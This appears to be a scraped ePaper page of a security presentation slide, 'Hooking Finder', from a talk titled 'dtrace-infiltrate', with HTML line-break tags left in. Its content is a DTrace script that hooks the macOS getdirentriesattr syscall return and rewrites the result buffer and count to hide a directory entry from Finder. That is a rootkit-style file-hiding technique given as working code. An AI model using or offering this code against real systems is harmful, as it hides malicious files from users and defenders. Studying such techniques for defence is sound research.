dtrace-infiltrate
dtrace-infiltrate
dtrace-infiltrate
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Hooking Finder<br />
syscall::getdirentriesattr:return<br />
/self->gda_thiscall != 0/<br />
{<br />
this->newcount = (unsigned int *)<br />
copyin(self->gda_count,sizeof(int));<br />
*this->newcount = *this->newcount - 1;<br />
this->dirblob =<br />
copyin(self->gda_thiscall,self->gda_bufsize);<br />
this->firstlen = *(unsigned int *)this->dirblob;<br />
copyout((void *)((char *)this->dirblob + this-<br />
>firstlen),self->gda_thiscall, self->gda_bufsize - this-<br />
>firstlen);<br />
copyout(this->newcount,self->gda_count,sizeof(unsigned int));<br />
self->gda_thiscall = 0;<br />
}